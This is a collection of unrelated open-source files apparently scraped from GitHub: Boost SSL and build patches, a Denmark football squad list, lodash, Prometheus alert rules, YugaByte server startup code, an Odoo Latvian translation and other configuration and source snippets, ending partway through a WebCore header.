+36,29 @@ static const boost::system::error_category& ssl_category = boost::asio::error::get_ssl_category(); } // namespace error +namespace ssl { +namespace error { + +enum stream_errors +{ +#if defined(GENERATING_DOCUMENTATION) + /// The underlying stream closed before the ssl stream gracefully shut down. + stream_truncated +#elif (OPENSSL_VERSION_NUMBER < 0x10100000L) && !defined(OPENSSL_IS_BORINGSSL) + stream_truncated = ERR_PACK(ERR_LIB_SSL, 0, SSL_R_SHORT_READ) +#else + stream_truncated = 1 +#endif +}; + +extern BOOST_ASIO_DECL +const boost::system::error_category& get_stream_category(); + +static const boost::system::error_category& stream_category + = boost::asio::ssl::error::get_stream_category(); + +} // namespace error +} // namespace ssl } // namespace asio } // namespace boost @@ -46,6 +70,11 @@ template<> struct is_error_code_enum<boost::asio::error::ssl_errors> static const bool value = true; }; +template<> struct is_error_code_enum<boost::asio::ssl::error::stream_errors> +{ + static const bool value = true; +}; + } // namespace system } // namespace boost @@ -60,6 +89,17 @@ inline boost::system::error_code make_error_code(ssl_errors e) } } // namespace error +namespace ssl { +namespace error { + +inline boost::system::error_code make_error_code(stream_errors e) +{ + return boost::system::error_code( + static_cast<int>(e), get_stream_category()); +} + +} // namespace error +} // namespace ssl } // namespace asio } // namespace boost diff --git a/boost/asio/ssl/impl/context.ipp b/boost/asio/ssl/impl/context.ipp index 1111111..2222222 100644 --- a/boost/asio/ssl/impl/context.ipp +++ b/boost/asio/ssl/impl/context.ipp @@ -71,7 +71,8 @@ context::context(context::method m) switch (m) { -#if defined(OPENSSL_NO_SSL2) +#if defined(OPENSSL_NO_SSL2) \ + || (OPENSSL_VERSION_NUMBER >= 0x10100000L) case context::sslv2: case context::sslv2_client: case context::sslv2_server: @@ -79,6 +80,7 @@ context::context(context::method m) boost::asio::error::invalid_argument, "context"); break; #else // defined(OPENSSL_NO_SSL2) + // || (OPENSSL_VERSION_NUMBER >= 0x10100000L) case context::sslv2: handle_ = ::SSL_CTX_new(::SSLv2_method()); break; @@ -89,6 +91,7 @@ context::context(context::method m) handle_ = ::SSL_CTX_new(::SSLv2_server_method()); break; #endif // defined(OPENSSL_NO_SSL2) + // || (OPENSSL_VERSION_NUMBER >= 0x10100000L) #if defined(OPENSSL_NO_SSL3) case context::sslv3: case context::sslv3_client: @@ -107,6 +110,7 @@ context::context(context::method m) handle_ = ::SSL_CTX_new(::SSLv3_server_method()); break; #endif // defined(OPENSSL_NO_SSL3) +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) case context::tlsv1: handle_ = ::SSL_CTX_new(::TLSv1_method()); break; @@ -116,6 +120,7 @@ context::context(context::method m) case context::tlsv1_server: handle_ = ::SSL_CTX_new(::TLSv1_server_method()); break; +#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L) case context::sslv23: handle_ = ::SSL_CTX_new(::SSLv23_method()); break; @@ -125,6 +130,7 @@ context::context(context::method m) case context::sslv23_server: handle_ = ::SSL_CTX_new(::SSLv23_server_method()); break; +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) #if defined(SSL_TXT_TLSV1_1) case context::tlsv11: handle_ = ::SSL_CTX_new(::TLSv1_1_method()); @@ -161,6 +167,23 @@ context::context(context::method m) boost::asio::error::invalid_argument, "context"); break; #endif // defined(SSL_TXT_TLSV1_2) +#else // (OPENSSL_VERSION_NUMBER < 0x10100000L) + case context::tlsv1: + case context::tlsv11: + case context::tlsv12: + handle_ = ::SSL_CTX_new(::TLS_method()); + break; + case context::tlsv1_client: + case context::tlsv11_client: + case context::tlsv12_client: + handle_ = ::SSL_CTX_new(::TLS_client_method()); + break; + case context::tlsv1_server: + case context::tlsv11_server: + case context::tlsv12_server: + handle_ = ::SSL_CTX_new(::TLS_server_method()); + break; +#endif // (OPENSSL_VERSION_NUMBER < 0x10100000L) default: handle_ = ::SSL_CTX_new(0); break; @@ -205,13 +228,22 @@ context::~context() { if (handle_) { - if (handle_->default_passwd_callback_userdata) +#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) + void* cb_userdata = ::SSL_CTX_get_default_passwd_cb_userdata(handle_); +#else // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + void* cb_userdata = handle_->default_passwd_callback_userdata; +#endif // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + if (cb_userdata) { detail::password_callback_base* callback = static_cast<detail::password_callback_base*>( - handle_->default_passwd_callback_userdata); + cb_userdata); delete callback; +#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) + ::SSL_CTX_set_default_passwd_cb_userdata(handle_, 0); +#else // (OPENSSL_VERSION_NUMBER >= 0x10100000L) handle_->default_passwd_callback_userdata = 0; +#endif // (OPENSSL_VERSION_NUMBER >= 0x10100000L) } if (SSL_CTX_get_app_data(handle_)) @@ -546,10 +578,17 @@ boost::system::error_code context::use_certificate_chain( bio_cleanup bio = { make_buffer_bio(chain) }; if (bio.p) { +#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) + pem_password_cb* callback = ::SSL_CTX_get_default_passwd_cb(handle_); + void* cb_userdata = ::SSL_CTX_get_default_passwd_cb_userdata(handle_); +#else // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + pem_password_cb* callback = handle_->default_passwd_callback; + void* cb_userdata = handle_->default_passwd_callback_userdata; +#endif // (OPENSSL_VERSION_NUMBER >= 0x10100000L) x509_cleanup cert = { ::PEM_read_bio_X509_AUX(bio.p, 0, - handle_->default_passwd_callback, - handle_->default_passwd_callback_userdata) }; + callback, + cb_userdata) }; if (!cert.p) { ec = boost::system::error_code(ERR_R_PEM_LIB, @@ -577,8 +616,8 @@ boost::system::error_code context::use_certificate_chain( #endif // (OPENSSL_VERSION_NUMBER >= 0x10002000L) while (X509* cacert = ::PEM_read_bio_X509(bio.p, 0, - handle_->default_passwd_callback, - handle_->default_passwd_callback_userdata)) + callback, + cb_userdata)) { if (!::SSL_CTX_add_extra_chain_cert(handle_, cacert)) { @@ -643,6 +682,14 @@ boost::system::error_code context::use_private_key( { ::ERR_clear_error(); +#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) + pem_password_cb* callback = ::SSL_CTX_get_default_passwd_cb(handle_); + void* cb_userdata = ::SSL_CTX_get_default_passwd_cb_userdata(handle_); +#else // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + pem_password_cb* callback = handle_->default_passwd_callback; + void* cb_userdata = handle_->default_passwd_callback_userdata; +#endif // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + bio_cleanup bio = { make_buffer_bio(private_key) }; if (bio.p) { @@ -654,8 +701,8 @@ boost::system::error_code context::use_private_key( break; case context_base::pem: evp_private_key.p = ::PEM_read_bio_PrivateKey( - bio.p, 0, handle_->default_passwd_callback, - handle_->default_passwd_callback_userdata); + bio.p, 0, callback, + cb_userdata); break; default: { @@ -702,6 +749,14 @@ boost::system::error_code context::use_rsa_private_key( { ::ERR_clear_error(); +#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) + pem_password_cb* callback = ::SSL_CTX_get_default_passwd_cb(handle_); + void* cb_userdata = ::SSL_CTX_get_default_passwd_cb_userdata(handle_); +#else // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + pem_password_cb* callback = handle_->default_passwd_callback; + void* cb_userdata = handle_->default_passwd_callback_userdata; +#endif // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + bio_cleanup bio = { make_buffer_bio(private_key) }; if (bio.p) { @@ -713,8 +768,8 @@ boost::system::error_code context::use_rsa_private_key( break; case context_base::pem: rsa_private_key.p = ::PEM_read_bio_RSAPrivateKey( - bio.p, 0, handle_->default_passwd_callback, - handle_->default_passwd_callback_userdata); + bio.p, 0, callback, + cb_userdata); break; default: { @@ -933,11 +988,17 @@ int context::verify_callback_function(int preverified, X509_STORE_CTX* ctx) boost::system::error_code context::do_set_password_callback( detail::password_callback_base* callback, boost::system::error_code& ec) { - if (handle_->default_passwd_callback_userdata) - delete static_cast<detail::password_callback_base*>( - handle_->default_passwd_callback_userdata); - +#if (OPENSSL_VERSION_NUMBER >= 0x10100000L) + void* old_callback = ::SSL_CTX_get_default_passwd_cb_userdata(handle_); + ::SSL_CTX_set_default_passwd_cb_userdata(handle_, callback); +#else // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + void* old_callback = handle_->default_passwd_callback_userdata; handle_->default_passwd_callback_userdata = callback; +#endif // (OPENSSL_VERSION_NUMBER >= 0x10100000L) + + if (old_callback) + delete static_cast<detail::password_callback_base*>( + old_callback); SSL_CTX_set_default_passwd_cb(handle_, &context::password_callback_function); diff --git a/boost/asio/ssl/impl/error.ipp b/boost/asio/ssl/impl/error.ipp index 1111111..2222222 100644 --- a/boost/asio/ssl/impl/error.ipp +++ b/boost/asio/ssl/impl/error.ipp @@ -24,7 +24,6 @@ namespace boost { namespace asio { namespace error { - namespace detail { class ssl_category : public boost::system::error_category @@ -51,6 +50,50 @@ const boost::system::error_category& get_ssl_category() } } // namespace error +namespace ssl { +namespace error { + +#if (OPENSSL_VERSION_NUMBER < 0x10100000L) && !defined(OPENSSL_IS_BORINGSSL) + +const boost::system::error_category& get_stream_category() +{ + return boost::asio::error::get_ssl_category(); +} + +#else + +namespace detail { + +class stream_category : public boost::system::error_category +{ +public: + const char* name() const BOOST_ASIO_ERROR_CATEGORY_NOEXCEPT + { + return "asio.ssl.stream"; + } + + std::string message(int value) const + { + switch (value) + { + case stream_truncated: return "stream truncated"; + default: return "asio.ssl.stream error"; + } + } +}; + +} // namespace detail + +const boost::system::error_category& get_stream_category() +{ + static detail::stream_category instance; + return instance; +} + +#endif + +} // namespace error +} // namespace ssl } // namespace asio } // namespace boost From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 From: jzmaddock <[email protected]> Date: Fri, 24 Jul 2015 18:50:28 +0100 Subject: [PATCH 3/4] Remove depricated type_traits usage. curl -L 'https://patch-diff.githubusercontent.com/raw/boostorg/iostreams/pull/15.patch' | sed 's,include/,,g' | git am diff --git a/boost/iostreams/detail/is_dereferenceable.hpp b/boost/iostreams/detail/is_dereferenceable.hpp index 1111111..2222222 100644 --- a/boost/iostreams/detail/is_dereferenceable.hpp +++ b/boost/iostreams/detail/is_dereferenceable.hpp @@ -9,9 +9,8 @@ #ifndef BOOST_IOSTREAMS_DETAIL_IS_DEREFERENCEABLE_HPP_INCLUDED #define BOOST_IOSTREAMS_DETAIL_IS_DEREFERENCEABLE_HPP_INCLUDED -# include <boost/type_traits/detail/bool_trait_def.hpp> -# include <boost/type_traits/detail/template_arity_spec.hpp> # include <boost/type_traits/remove_cv.hpp> +# include <boost/type_traits/integral_constant.hpp> # include <boost/mpl/aux_/lambda_support.hpp> # include <boost/mpl/bool.hpp> # include <boost/detail/workaround.hpp> @@ -69,17 +68,10 @@ namespace is_dereferenceable_ # undef BOOST_comma template<typename T> -struct is_dereferenceable - BOOST_TT_AUX_BOOL_C_BASE(is_dereferenceable_::impl<T>::value) -{ - BOOST_TT_AUX_BOOL_TRAIT_VALUE_DECL(is_dereferenceable_::impl<T>::value) - BOOST_MPL_AUX_LAMBDA_SUPPORT(1,is_dereferenceable,(T)) -}; +struct is_dereferenceable : public boost::integral_constant<bool, is_dereferenceable_::impl<T>::value> {}; } } -BOOST_TT_AUX_TEMPLATE_ARITY_SPEC(1, ::boost::iostreams::detail::is_dereferenceable) - } // End namespaces detail, iostreams, boost. #endif // BOOST_IOSTREAMS_DETAIL_IS_DEREFERENCEABLE_HPP_INCLUDED From 0000000000000000000000000000000000000000 Mon Sep 17 00:00:00 2001 From: Tony Theodore <[email protected]> Date: Wed, 8 Apr 2020 00:37:10 +1000 Subject: [PATCH 4/4] fix darwin build diff --git a/tools/build/src/tools/darwin.jam b/tools/build/src/tools/darwin.jam index 1111111..2222222 100644 --- a/tools/build/src/tools/darwin.jam +++ b/tools/build/src/tools/darwin.jam @@ -135,12 +135,6 @@ rule init ( version ? : command * : options * : requirement * ) # - Set the toolset generic common options. common.handle-options darwin : $(condition) : $(command) : $(options) ; - - # - GCC 4.0 and higher in Darwin does not have -fcoalesce-templates. - if $(real-version) < "4.0.0" - { - flags darwin.compile.c++ OPTIONS $(condition) : -fcoalesce-templates ; - } # - GCC 4.2 and higher in Darwin does not have -Wno-long-double. if $(real-version) < "4.2.0" {
{ "pile_set_name": "Github" }
############################## # Denmark (DEN) # - 22 players (1) GK Peter Schmeichel ## 100, Manchester United (16) GK Mogens Krogh ## 8, Brøndby (22) GK Peter Kjær ## 0, Silkeborg (2) DF Michael Schjønberg ## 28, 1. FC Kaiserslautern (3) DF Marc Rieper ## 53, Celtic (4) DF Jes Høgh ## 37, Fenerbahçe (5) DF Jan Heintze ## 39, Bayer Leverkusen (6) DF Thomas Helveg ## 30, Udinese (12) DF Søren Colding ## 4, Brøndby (13) DF Jacob Laursen ## 22, Derby County (20) DF René Henriksen ## 2, Akademisk (7) MF Allan Nielsen ## 18, Tottenham Hotspur (8) MF Per Frandsen ## 12, Bolton Wanderers (10) MF Michael Laudrup ## 99, Ajax (14) MF Morten Wieghorst ## 11, Celtic (15) MF Stig Tøfting ## 4, MSV Duisburg (17) MF Bjarne Goldbæk ## 11, Copenhagen (21) MF Martin Jørgensen ## 4, Udinese (9) FW Miklos Molnar ## 9, Sevilla (11) FW Brian Laudrup ## 77, Rangers (18) FW Peter Møller ## 11, PSV (19) FW Ebbe Sand ## 2, Brøndby
{ "pile_set_name": "Github" }
{ "name": "core-util-is", "version": "1.0.1", "description": "The `util.is*` functions introduced in Node v0.12.", "main": "lib/util.js", "repository": { "type": "git", "url": "git://github.com/isaacs/core-util-is" }, "keywords": [ "util", "isBuffer", "isArray", "isNumber", "isString", "isRegExp", "isThis", "isThat", "polyfill" ], "author": { "name": "Isaac Z. Schlueter", "email": "[email protected]", "url": "http://blog.izs.me/" }, "license": "MIT", "bugs": { "url": "https://github.com/isaacs/core-util-is/issues" }, "readme": "# core-util-is\n\nThe `util.is*` functions introduced in Node v0.12.\n", "readmeFilename": "README.md", "homepage": "https://github.com/isaacs/core-util-is", "_id": "[email protected]", "_from": "core-util-is@~1.0.0", "scripts": {} }
{ "pile_set_name": "Github" }
var baseClone = require('./_baseClone'); /** Used to compose bitmasks for cloning. */ var CLONE_DEEP_FLAG = 1, CLONE_SYMBOLS_FLAG = 4; /** * This method is like `_.cloneWith` except that it recursively clones `value`. * * @static * @memberOf _ * @since 4.0.0 * @category Lang * @param {*} value The value to recursively clone. * @param {Function} [customizer] The function to customize cloning. * @returns {*} Returns the deep cloned value. * @see _.cloneWith * @example * * function customizer(value) { * if (_.isElement(value)) { * return value.cloneNode(true); * } * } * * var el = _.cloneDeepWith(document.body, customizer); * * console.log(el === document.body); * // => false * console.log(el.nodeName); * // => 'BODY' * console.log(el.childNodes.length); * // => 20 */ function cloneDeepWith(value, customizer) { customizer = typeof customizer == 'function' ? customizer : undefined; return baseClone(value, CLONE_DEEP_FLAG | CLONE_SYMBOLS_FLAG, customizer); } module.exports = cloneDeepWith;
{ "pile_set_name": "Github" }
# Generated from 'kubernetes-resources' group from https://raw.githubusercontent.com/coreos/kube-prometheus/master/manifests/prometheus-rules.yaml # Do not change in-place! In order to change this file first read following link: # https://github.com/helm/charts/tree/master/stable/prometheus-operator/hack {{- if and .Values.defaultRules.create .Values.defaultRules.rules.kubernetesResources }} apiVersion: {{ printf "%s/v1" (.Values.prometheusOperator.crdApiGroup | default "monitoring.coreos.com") }} kind: PrometheusRule metadata: name: {{ printf "%s-%s" (include "prometheus-operator.fullname" .) "kubernetes-resources" | trunc 63 | trimSuffix "-" }} labels: app: {{ template "prometheus-operator.name" . }} {{ include "prometheus-operator.labels" . | indent 4 }} {{- if .Values.defaultRules.labels }} {{ toYaml .Values.defaultRules.labels | indent 4 }} {{- end }} {{- if .Values.defaultRules.annotations }} annotations: {{ toYaml .Values.defaultRules.annotations | indent 4 }} {{- end }} spec: groups: - name: kubernetes-resources rules: - alert: KubeCPUOvercommit annotations: message: Cluster has overcommitted CPU resource requests for Pods and cannot tolerate node failure. runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubecpuovercommit expr: |- sum(namespace_name:kube_pod_container_resource_requests_cpu_cores:sum) / sum(node:node_num_cpu:sum) > (count(node:node_num_cpu:sum)-1) / count(node:node_num_cpu:sum) for: 5m labels: severity: warning - alert: KubeMemOvercommit annotations: message: Cluster has overcommitted memory resource requests for Pods and cannot tolerate node failure. runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubememovercommit expr: |- sum(namespace_name:kube_pod_container_resource_requests_memory_bytes:sum) / sum(node_memory_MemTotal_bytes) > (count(node:node_num_cpu:sum)-1) / count(node:node_num_cpu:sum) for: 5m labels: severity: warning - alert: KubeCPUOvercommit annotations: message: Cluster has overcommitted CPU resource requests for Namespaces. runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubecpuovercommit expr: |- sum(kube_resourcequota{job="kube-state-metrics", type="hard", resource="cpu"}) / sum(node:node_num_cpu:sum) > 1.5 for: 5m labels: severity: warning - alert: KubeMemOvercommit annotations: message: Cluster has overcommitted memory resource requests for Namespaces. runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubememovercommit expr: |- sum(kube_resourcequota{job="kube-state-metrics", type="hard", resource="memory"}) / sum(node_memory_MemTotal_bytes{job="node-exporter"}) > 1.5 for: 5m labels: severity: warning - alert: KubeQuotaExceeded annotations: message: Namespace {{`{{ $labels.namespace }}`}} is using {{`{{ printf "%0.0f" $value }}`}}% of its {{`{{ $labels.resource }}`}} quota. runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-kubequotaexceeded expr: |- 100 * kube_resourcequota{job="kube-state-metrics", type="used"} / ignoring(instance, job, type) (kube_resourcequota{job="kube-state-metrics", type="hard"} > 0) > 90 for: 15m labels: severity: warning - alert: CPUThrottlingHigh annotations: message: '{{`{{ printf "%0.0f" $value }}`}}% throttling of CPU in namespace {{`{{ $labels.namespace }}`}} for container {{`{{ $labels.container_name }}`}} in pod {{`{{ $labels.pod_name }}`}}.' runbook_url: https://github.com/kubernetes-monitoring/kubernetes-mixin/tree/master/runbook.md#alert-name-cputhrottlinghigh expr: |- 100 * sum(increase(container_cpu_cfs_throttled_periods_total{container_name!="", }[5m])) by (container_name, pod_name, namespace) / sum(increase(container_cpu_cfs_periods_total{}[5m])) by (container_name, pod_name, namespace) > 25 for: 15m labels: severity: warning {{- end }}
{ "pile_set_name": "Github" }
// Copyright 2013 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. package org.chromium.content.app; /** * This is needed to register multiple SandboxedProcess services so that we can have * more than one sandboxed process. */ public class SandboxedProcessService8 extends SandboxedProcessService { }
{ "pile_set_name": "Github" }
// Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. // // The following only applies to changes made to this file as part of YugaByte development. // // Portions Copyright (c) YugaByte, Inc. // // Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except // in compliance with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software distributed under the License // is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express // or implied. See the License for the specific language governing permissions and limitations // under the License. // #include <iostream> #include <glog/logging.h> #include "yb/gutil/strings/substitute.h" #include "yb/master/call_home.h" #include "yb/master/master.h" #include "yb/consensus/log_util.h" #include "yb/util/flags.h" #include "yb/util/init.h" #include "yb/util/logging.h" #include "yb/util/main_util.h" #include "yb/util/ulimit_util.h" #include "yb/gutil/sysinfo.h" #include "yb/server/total_mem_watcher.h" #include "yb/util/net/net_util.h" DECLARE_bool(callhome_enabled); DECLARE_bool(evict_failed_followers); DECLARE_double(default_memory_limit_to_ram_ratio); DECLARE_int32(logbuflevel); DECLARE_int32(webserver_port); DECLARE_string(rpc_bind_addresses); DECLARE_bool(durable_wal_write); DECLARE_int32(stderrthreshold); DECLARE_string(metric_node_name); DECLARE_int64(remote_bootstrap_rate_limit_bytes_per_sec); // Deprecated because it's misspelled. But if set, this flag takes precedence over // remote_bootstrap_rate_limit_bytes_per_sec for compatibility. DECLARE_int64(remote_boostrap_rate_limit_bytes_per_sec); using namespace std::literals; namespace yb { namespace master { static int MasterMain(int argc, char** argv) { // Reset some default values before parsing gflags. FLAGS_rpc_bind_addresses = strings::Substitute("0.0.0.0:$0", kMasterDefaultPort); FLAGS_webserver_port = kMasterDefaultWebPort; string host_name; if (GetHostname(&host_name).ok()) { FLAGS_metric_node_name = strings::Substitute("$0:$1", host_name, kMasterDefaultWebPort); } else { LOG(INFO) << "Failed to get master's host name, keeping default metric_node_name"; } FLAGS_default_memory_limit_to_ram_ratio = 0.10; // For masters we always want to fsync the WAL files. FLAGS_durable_wal_write = true; // A multi-node Master leader should not evict failed Master followers // because there is no-one to assign replacement servers in order to maintain // the desired replication factor. (It's not turtles all the way down!) FLAGS_evict_failed_followers = false; // Only write FATALs by default to stderr. FLAGS_stderrthreshold = google::FATAL; // Do not sync GLOG to disk for INFO, WARNING. // ERRORs, and FATALs will still cause a sync to disk. FLAGS_logbuflevel = google::GLOG_WARNING; ParseCommandLineFlags(&argc, &argv, true); if (argc != 1) { std::cerr << "usage: " << argv[0] << std::endl; return 1; } LOG_AND_RETURN_FROM_MAIN_NOT_OK(log::ModifyDurableWriteFlagIfNotODirect()); LOG_AND_RETURN_FROM_MAIN_NOT_OK(InitYB(MasterOptions::kServerType, argv[0])); LOG(INFO) << "NumCPUs determined to be: " << base::NumCPUs(); LOG_AND_RETURN_FROM_MAIN_NOT_OK(GetPrivateIpMode()); auto opts_result = MasterOptions::CreateMasterOptions(); LOG_AND_RETURN_FROM_MAIN_NOT_OK(opts_result); enterprise::Master server(*opts_result); if (FLAGS_remote_boostrap_rate_limit_bytes_per_sec > 0) { LOG(WARNING) << "Flag remote_boostrap_rate_limit_bytes_per_sec has been deprecated. " << "Use remote_bootstrap_rate_limit_bytes_per_sec flag instead"; FLAGS_remote_bootstrap_rate_limit_bytes_per_sec = FLAGS_remote_boostrap_rate_limit_bytes_per_sec; } SetDefaultInitialSysCatalogSnapshotFlags(); // ============================================================================================== // End of setting master flags // ============================================================================================== LOG(INFO) << "Initializing master server..."; LOG_AND_RETURN_FROM_MAIN_NOT_OK(server.Init()); LOG(INFO) << "Starting Master server..."; UlimitUtil::InitUlimits(); LOG(INFO) << "ulimit cur(max)..." << UlimitUtil::GetUlimitInfo(); LOG_AND_RETURN_FROM_MAIN_NOT_OK(server.Start()); LOG(INFO) << "Master server successfully started."; std::unique_ptr<CallHome> call_home; if (FLAGS_callhome_enabled) { call_home = std::make_unique<CallHome>(&server, ServerType::MASTER); call_home->ScheduleCallHome(); } auto total_mem_watcher = server::TotalMemWatcher::Create(); total_mem_watcher->MemoryMonitoringLoop( [&server]() { server.Shutdown(); }, [&server]() { return server.IsShutdown(); } ); return EXIT_FAILURE; } } // namespace master } // namespace yb int main(int argc, char** argv) { return yb::master::MasterMain(argc, argv); }
{ "pile_set_name": "Github" }
{% load i18n static %}<!DOCTYPE html> <html> <head><title>{% trans 'Popup closing...' %}</title></head> <body> <script type="text/javascript" id="django-admin-popup-response-constants" src="{% static "admin/js/popup_response.js" %}" data-popup-response="{{ popup_response_data }}"> </script> </body> </html>
{ "pile_set_name": "Github" }
apiVersion: v1 kind: Service metadata: name: cassandra labels: provider: cassandra heritage: helm spec: ports: - name: internode port: 7000 - name: internodessl port: 7001 - name: jmx port: 7199 - name: client port: 9042 - name: thrift port: 9160 selector: provider: cassandra
{ "pile_set_name": "Github" }
# Translation of Odoo Server. # This file contains the translation of the following modules: # * base_address_extended # # Translators: # Martin Trigaux, 2019 # Arnis Putniņš <[email protected]>, 2019 # msgid "" msgstr "" "Project-Id-Version: Odoo Server saas~12.4\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-08-12 11:31+0000\n" "PO-Revision-Date: 2019-08-26 09:09+0000\n" "Last-Translator: Arnis Putniņš <[email protected]>, 2019\n" "Language-Team: Latvian (https://www.transifex.com/odoo/teams/41243/lv/)\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: \n" "Language: lv\n" "Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);\n" #. module: base_address_extended #: model_terms:ir.ui.view,arch_db:base_address_extended.view_res_country_extended_form msgid "" "Change how the system computes the full street field based on the different " "street subfields" msgstr "" #. module: base_address_extended #: model:ir.model,name:base_address_extended.model_res_company msgid "Companies" msgstr "Uzņēmumi" #. module: base_address_extended #: model:ir.model,name:base_address_extended.model_res_partner msgid "Contact" msgstr "Kontakts" #. module: base_address_extended #: model:ir.model,name:base_address_extended.model_res_country msgid "Country" msgstr "Valsts" #. module: base_address_extended #: model:ir.model.fields,field_description:base_address_extended.field_res_partner__street_number2 #: model:ir.model.fields,field_description:base_address_extended.field_res_users__street_number2 msgid "Door" msgstr "" #. module: base_address_extended #: model:ir.model.fields,field_description:base_address_extended.field_res_company__street_number2 #: model:ir.model.fields,help:base_address_extended.field_res_partner__street_number2 #: model:ir.model.fields,help:base_address_extended.field_res_users__street_number2 msgid "Door Number" msgstr "" #. module: base_address_extended #: model:ir.model.fields,help:base_address_extended.field_res_country__street_format msgid "" "Format to use for streets belonging to this country.\n" "\n" "You can use the python-style string pattern with all the fields of the street (for example, use '%(street_name)s, %(street_number)s' if you want to display the street name, followed by a comma and the house number)\n" "%(street_name)s: the name of the street\n" "%(street_number)s: the house number\n" "%(street_number2)s: the door number" msgstr "" #. module: base_address_extended #: model:ir.model.fields,field_description:base_address_extended.field_res_partner__street_number #: model:ir.model.fields,field_description:base_address_extended.field_res_users__street_number msgid "House" msgstr "" #. module: base_address_extended #: model:ir.model.fields,field_description:base_address_extended.field_res_company__street_number #: model:ir.model.fields,help:base_address_extended.field_res_partner__street_number #: model:ir.model.fields,help:base_address_extended.field_res_users__street_number msgid "House Number" msgstr "" #. module: base_address_extended #: model:ir.model.fields,field_description:base_address_extended.field_res_country__street_format msgid "Street Format" msgstr "" #. module: base_address_extended #: model:ir.model.fields,field_description:base_address_extended.field_res_company__street_name #: model:ir.model.fields,field_description:base_address_extended.field_res_partner__street_name #: model:ir.model.fields,field_description:base_address_extended.field_res_users__street_name msgid "Street Name" msgstr "" #. module: base_address_extended #: model_terms:ir.ui.view,arch_db:base_address_extended.view_partner_address_structured_form #: model_terms:ir.ui.view,arch_db:base_address_extended.view_partner_structured_form #: model_terms:ir.ui.view,arch_db:base_address_extended.view_res_company_extended_form msgid "Street Name..." msgstr "" #. module: base_address_extended #: model_terms:ir.ui.view,arch_db:base_address_extended.view_res_country_extended_form msgid "Street format..." msgstr "" #. module: base_address_extended #: code:addons/base_address_extended/models/base_address_extended.py:64 #: code:addons/base_address_extended/models/base_address_extended.py:112 #, python-format msgid "Unrecognized field %s in street format." msgstr ""
{ "pile_set_name": "Github" }
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #ifndef MOJO_PUBLIC_CPP_BINDINGS_NATIVE_STRUCT_H_ #define MOJO_PUBLIC_CPP_BINDINGS_NATIVE_STRUCT_H_ #include "mojo/public/cpp/bindings/array.h" #include "mojo/public/cpp/bindings/lib/native_struct_data.h" #include "mojo/public/cpp/bindings/struct_ptr.h" #include "mojo/public/cpp/bindings/type_converter.h" namespace mojo { class NativeStruct; using NativeStructPtr = StructPtr<NativeStruct>; // Native-only structs correspond to "[Native] struct Foo;" definitions in // mojom. class NativeStruct { public: using Data_ = internal::NativeStruct_Data; static NativeStructPtr New(); template <typename U> static NativeStructPtr From(const U& u) { return TypeConverter<NativeStructPtr, U>::Convert(u); } template <typename U> U To() const { return TypeConverter<U, NativeStruct>::Convert(*this); } NativeStruct(); ~NativeStruct(); NativeStructPtr Clone() const; bool Equals(const NativeStruct& other) const; Array<uint8_t> data; }; } // namespace mojo #endif // MOJO_PUBLIC_CPP_BINDINGS_NATIVE_STRUCT_H_
{ "pile_set_name": "Github" }
/* * Copyright (C) 2001 Peter Kelly ([email protected]) * Copyright (C) 2001 Tobias Anton ([email protected]) * Copyright (C) 2006 Samuel Weinig ([email protected]) * Copyright (C) 2003, 2004, 2005, 2006, 2008, 2010, 2013 Apple Inc. All rights reserved. * Copyright (C) 2013 Samsung Electronics. All rights reserved. * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Library General Public * License as published by the Free Software Foundation; either * version 2 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Library General Public License for more details. * * You should have received a copy of the GNU Library General Public License * along with this library; see the file COPYING.LIB. If not, write to * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, * Boston, MA 02110-1301, USA. * */ #pragma once #include "MouseEvent.h" #include "PlatformWheelEvent.h" namespace WebCore { class WheelEvent final : public MouseEvent { WTF_MAKE_ISO_ALLOCATED(WheelEvent); public: enum { TickMultiplier = 120 }; enum { 